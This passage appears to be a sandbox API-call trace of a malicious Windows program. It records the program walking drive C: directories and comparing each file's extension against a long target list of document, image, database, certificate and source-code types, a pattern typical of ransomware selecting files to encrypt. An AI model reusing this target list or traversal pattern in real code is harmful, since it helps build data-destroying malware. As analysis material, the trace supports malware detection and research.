ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.073] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.074] FindClose (in: hFindFile=0x7cb8d0 | out: hFindFile=0x7cb8d0) returned 1 [0037.074] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.074] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0037.074] FindClose (in: hFindFile=0x7cb850 | out: hFindFile=0x7cb850) returned 1 [0037.074] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e30080 | out: hHeap=0x790000) returned 1 [0037.074] FindNextFileW (in: hFindFile=0x7cb810, lpFindFileData=0x473fd00 | out: lpFindFileData=0x473fd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0037.074] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb850 [0037.074] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.074] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0037.074] FindClose (in: hFindFile=0x7cb850 | out: hFindFile=0x7cb850) returned 1 [0037.074] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e30080 | out: hHeap=0x790000) returned 1 [0037.074] FindNextFileW (in: hFindFile=0x7cb810, lpFindFileData=0x473fd00 | out: lpFindFileData=0x473fd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0037.074] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="ꏠ\x88\x16")) returned 0xffffffff [0037.075] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e30080 | out: hHeap=0x790000) returned 1 [0037.075] FindNextFileW (in: hFindFile=0x7cb810, lpFindFileData=0x473fd00 | out: lpFindFileData=0x473fd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0037.075] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb850 [0037.075] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.075] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0037.075] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb8d0 [0037.118] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.120] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0047.727] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.727] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHS", cAlternateFileName="ACCESS~1.CHS")) returned 1 [0047.727] lstrcmpiW (lpString1=".1cd", lpString2=".CHS") returned -1 [0047.727] lstrcmpiW (lpString1=".3ds", lpString2=".CHS") returned -1 [0047.727] lstrcmpiW (lpString1=".3fr", lpString2=".CHS") returned -1 [0047.727] lstrcmpiW (lpString1=".3g2", lpString2=".CHS") returned -1 [0047.727] lstrcmpiW (lpString1=".3gp", lpString2=".CHS") returned -1 [0047.727] lstrcmpiW (lpString1=".7z", lpString2="CHS") returned -1 [0047.727] lstrcmpiW (lpString1=".accda", lpString2="ty.CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".accdb", lpString2="ty.CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".accdc", lpString2="ty.CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".accde", lpString2="ty.CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".accdt", lpString2="ty.CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".accdw", lpString2="ty.CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".adb", lpString2=".CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".adp", lpString2=".CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".ai", lpString2="CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".ai3", lpString2=".CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".ai4", lpString2=".CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".ai5", lpString2=".CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".ai6", lpString2=".CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".ai7", lpString2=".CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".ai8", lpString2=".CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".anim", lpString2="y.CHS") returned -1 [0047.728] lstrcmpiW (lpString1=".arw", lpString2=".CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".as", lpString2="CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".asa", lpString2=".CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".asc", lpString2=".CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".ascx", lpString2="y.CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".asm", lpString2=".CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".asmx", lpString2="y.CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".asp", lpString2=".CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".aspx", lpString2="y.CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".asr", lpString2=".CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".asx", lpString2=".CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".avi", lpString2=".CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".avs", lpString2=".CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".backup", lpString2="ity.CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".bak", lpString2=".CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".bay", lpString2=".CHS") returned -1 [0047.729] lstrcmpiW (lpString1=".bd", lpString2="CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".bin", lpString2=".CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".bmp", lpString2=".CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".bz2", lpString2=".CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".c", lpString2="HS") returned -1 [0047.730] lstrcmpiW (lpString1=".cdr", lpString2=".CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".cer", lpString2=".CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".cf", lpString2="CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".cfc", lpString2=".CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".cfm", lpString2=".CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".cfml", lpString2="y.CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".cfu", lpString2=".CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".chm", lpString2=".CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".cin", lpString2=".CHS") returned 1 [0047.730] lstrcmpiW (lpString1=".class", lpString2="ty.CHS") returned -1 [0047.730] lstrcmpiW (lpString1=".clx", lpString2=".CHS") returned 1 [0047.730] lstrcmpiW (lpString1=".config", lpString2="ity.CHS") returned -1 [0047.731] lstrcmpiW (lpString1=".cpp", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".cr2", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".crt", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".crw", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".cs", lpString2="CHS") returned -1 [0047.731] lstrcmpiW (lpString1=".css", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".csv", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".cub", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".dae", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".dat", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".db", lpString2="CHS") returned -1 [0047.731] lstrcmpiW (lpString1=".dbf", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".dbx", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".dc3", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".dcm", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".dcr", lpString2=".CHS") returned 1 [0047.731] lstrcmpiW (lpString1=".der", lpString2=".CHS") returned 1 [0047.732] lstrcmpiW (lpString1=".dib", lpString2=".CHS") returned 1 [0047.732] lstrcmpiW (lpString1=".dic", lpString2=".CHS") returned 1 [0047.732] lstrcmpiW (lpString1=".dif", lpString2=".CHS") returned 1 [0047.732] lstrcmpiW (lpString1=".divx", lpString2="y.CHS") returned -1 [0047.732] lstrcmpiW (lpString1=".djvu", lpString2="y.CHS") returned -1 [0047.732] lstrcmpiW (lpString1=".dng", lpString2=".CHS") returned 1 [0047.732] lstrcmpiW (lpString1=".doc", lpString2=".CHS") returned 1 [0047.732] lstrcmpiW (lpString1=".docm", lpString2="y.CHS") returned -1 [0047.732] lstrcmpiW (lpString1=".docx", lpString2="y.CHS") returned -1 [0047.732] lstrcmpiW (lpString1=".dot", lpString2=".CHS") returned 1 [0047.732] lstrcmpiW (lpString1=".dotm", lpString2="y.CHS") returned -1 [0047.732] lstrcmpiW (lpString1=".dotx", lpString2="y.CHS") returned -1 [0047.732] lstrcmpiW (lpString1=".dpx", lpString2=".CHS") returned 1 [0047.732] lstrcmpiW (lpString1=".dqy", lpString2=".CHS") returned 1 [0047.732] lstrcmpiW (lpString1=".dsn", lpString2=".CHS") returned 1 [0047.732] lstrcmpiW (lpString1=".dt", lpString2="CHS") returned -1 [0047.733] lstrcmpiW (lpString1=".dtd", lpString2=".CHS") returned 1 [0047.733] lstrcmpiW (lpString1=".dwg", lpString2=".CHS") returned 1 [0047.733] lstrcmpiW (lpString1=".dwt", lpString2=".CHS") returned 1 [0047.733] lstrcmpiW (lpString1=".dx", lpString2="CHS") returned -1 [0047.733] lstrcmpiW (lpString1=".dxf", lpString2=".CHS") returned 1 [0047.733] lstrcmpiW (lpString1=".edml", lpString2="y.CHS") returned -1 [0047.733] lstrcmpiW (lpString1=".efd", lpString2=".CHS") returned 1 [0047.733] lstrcmpiW (lpString1=".elf", lpString2=".CHS") returned 1 [0047.733] lstrcmpiW (lpString1=".emf", lpString2=".CHS") returned 1 [0047.733] lstrcmpiW (lpString1=".emz", lpString2=".CHS") returned 1 [0047.733] lstrcmpiW (lpString1=".epf", lpString2=".CHS") returned 1 [0047.733] lstrcmpiW (lpString1=".eps", lpString2=".CHS") returned 1 [0047.733] lstrcmpiW (lpString1=".epsf", lpString2="y.CHS") returned -1 [0047.733] lstrcmpiW (lpString1=".epsp", lpString2="y.CHS") returned -1 [0047.733] lstrcmpiW (lpString1=".erf", lpString2=".CHS") returned 1 [0047.733] lstrcmpiW (lpString1=".exr", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".f4v", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".fido", lpString2="y.CHS") returned -1 [0047.734] lstrcmpiW (lpString1=".flm", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".flv", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".frm", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".fxg", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".geo", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".gif", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".grs", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".gz", lpString2="CHS") returned -1 [0047.734] lstrcmpiW (lpString1=".h", lpString2="HS") returned -1 [0047.734] lstrcmpiW (lpString1=".hdr", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".hpp", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".hta", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".htc", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".htm", lpString2=".CHS") returned 1 [0047.734] lstrcmpiW (lpString1=".html", lpString2="y.CHS") returned -1 [0047.735] lstrcmpiW (lpString1=".icb", lpString2=".CHS") returned 1 [0047.735] lstrcmpiW (lpString1=".ics", lpString2=".CHS") returned 1 [0047.735] lstrcmpiW (lpString1=".iff", lpString2=".CHS") returned 1 [0047.735] lstrcmpiW (lpString1=".inc", lpString2=".CHS") returned 1 [0047.735] lstrcmpiW (lpString1=".indd", lpString2="y.CHS") returned -1 [0047.735] lstrcmpiW (lpString1=".ini", lpString2=".CHS") returned 1 [0047.735] lstrcmpiW (lpString1=".iqy", lpString2=".CHS") returned 1 [0047.735] lstrcmpiW (lpString1=".j2c", lpString2=".CHS") returned 1 [0047.735] lstrcmpiW (lpString1=".j2k", lpString2=".CHS") returned 1 [0047.735] lstrcmpiW (lpString1=".java", lpString2="y.CHS") returned -1 [0047.735] lstrcmpiW (lpString1=".jp2", lpString2=".CHS") returned 1 [0047.735] lstrcmpiW (lpString1=".jpc", lpString2=".CHS") returned 1 [0047.735] lstrcmpiW (lpString1=".jpe", lpString2=".CHS") returned 1 [0047.735] lstrcmpiW (lpString1=".jpeg", lpString2="y.CHS") returned -1 [0047.735] lstrcmpiW (lpString1=".jpf", lpString2=".CHS") returned 1 [0047.735] lstrcmpiW (lpString1=".jpg", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".jpx", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".js", lpString2="CHS") returned -1 [0047.736] lstrcmpiW (lpString1=".jsf", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".json", lpString2="y.CHS") returned -1 [0047.736] lstrcmpiW (lpString1=".jsp", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".kdc", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".kmz", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".kwm", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".lasso", lpString2="ty.CHS") returned -1 [0047.736] lstrcmpiW (lpString1=".lbi", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".lgf", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".lgp", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".log", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".m1v", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".m4a", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".m4v", lpString2=".CHS") returned 1 [0047.736] lstrcmpiW (lpString1=".max", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".md", lpString2="CHS") returned -1 [0047.737] lstrcmpiW (lpString1=".mda", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".mdb", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".mde", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".mdf", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".mdw", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".mef", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".mft", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".mfw", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".mht", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".mhtml", lpString2="ty.CHS") returned -1 [0047.737] lstrcmpiW (lpString1=".mka", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".mkidx", lpString2="ty.CHS") returned -1 [0047.737] lstrcmpiW (lpString1=".mkv", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".mos", lpString2=".CHS") returned 1 [0047.737] lstrcmpiW (lpString1=".mov", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".mp3", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".mp4", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".mpeg", lpString2="y.CHS") returned -1 [0047.738] lstrcmpiW (lpString1=".mpg", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".mpv", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".mrw", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".msg", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".mxl", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".myd", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".myi", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".nef", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".nrw", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".obj", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".odb", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".odc", lpString2=".CHS") returned 1 [0047.738] lstrcmpiW (lpString1=".odm", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".odp", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".ods", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".oft", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".one", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".onepkg", lpString2="ity.CHS") returned -1 [0047.739] lstrcmpiW (lpString1=".onetoc2", lpString2="lity.CHS") returned -1 [0047.739] lstrcmpiW (lpString1=".opt", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".oqy", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".orf", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".p12", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".p7b", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".p7c", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".pam", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".pbm", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".pct", lpString2=".CHS") returned 1 [0047.739] lstrcmpiW (lpString1=".pcx", lpString2=".CHS") returned 1 [0047.740] lstrcmpiW (lpString1=".pdd", lpString2=".CHS") returned 1 [0047.740] lstrcmpiW (lpString1=".pdf", lpString2=".CHS") returned 1 [0047.740] lstrcmpiW (lpString1=".pdp", lpString2=".CHS") returned 1 [0047.740] lstrcmpiW (lpString1=".pef", lpString2=".CHS") returned 1 [0047.740] lstrcmpiW (lpString1=".pem", lpString2=".CHS") returned 1 [0047.740] lstrcmpiW (lpString1=".pff", lpString2=".CHS") returned 1 [0047.740] lstrcmpiW (lpString1=".pfm", lpString2=".CHS") returned 1 [0047.740] lstrcmpiW (lpString1=".pfx", lpString2=".CHS") returned 1 [0047.740] lstrcmpiW (lpString1=".pgm", lpString2=".CHS") returned 1 [0047.740] lstrcmpiW (lpString1=".php", lpString2=".CHS") returned 1 [0047.740] lstrcmpiW (lpString1=".php3", lpString2="y.CHS") returned -1 [0047.740] lstrcmpiW (lpString1=".php4", lpString2="y.CHS") returned -1 [0047.740] lstrcmpiW (lpString1=".php5", lpString2="y.CHS") returned -1 [0047.740] lstrcmpiW (lpString1=".phtml", lpString2="ty.CHS") returned -1 [0047.741] lstrcmpiW (lpString1=".pict", lpString2="y.CHS") returned -1 [0047.741] lstrcmpiW (lpString1=".pl", lpString2="CHS") returned -1 [0047.741] lstrcmpiW (lpString1=".pls", lpString2=".CHS") returned 1 [0047.741] lstrcmpiW (lpString1=".pm", lpString2="CHS") returned -1 [0047.741] lstrcmpiW (lpString1=".png", lpString2=".CHS") returned 1 [0047.741] lstrcmpiW (lpString1=".pnm", lpString2=".CHS") returned 1 [0047.741] lstrcmpiW (lpString1=".pot", lpString2=".CHS") returned 1 [0047.741] lstrcmpiW (lpString1=".potm", lpString2="y.CHS") returned -1 [0047.741] lstrcmpiW (lpString1=".potx", lpString2="y.CHS") returned -1 [0047.741] lstrcmpiW (lpString1=".ppa", lpString2=".CHS") returned 1 [0047.741] lstrcmpiW (lpString1=".ppam", lpString2="y.CHS") returned -1 [0047.741] lstrcmpiW (lpString1=".ppm", lpString2=".CHS") returned 1 [0047.741] lstrcmpiW (lpString1=".pps", lpString2=".CHS") returned 1 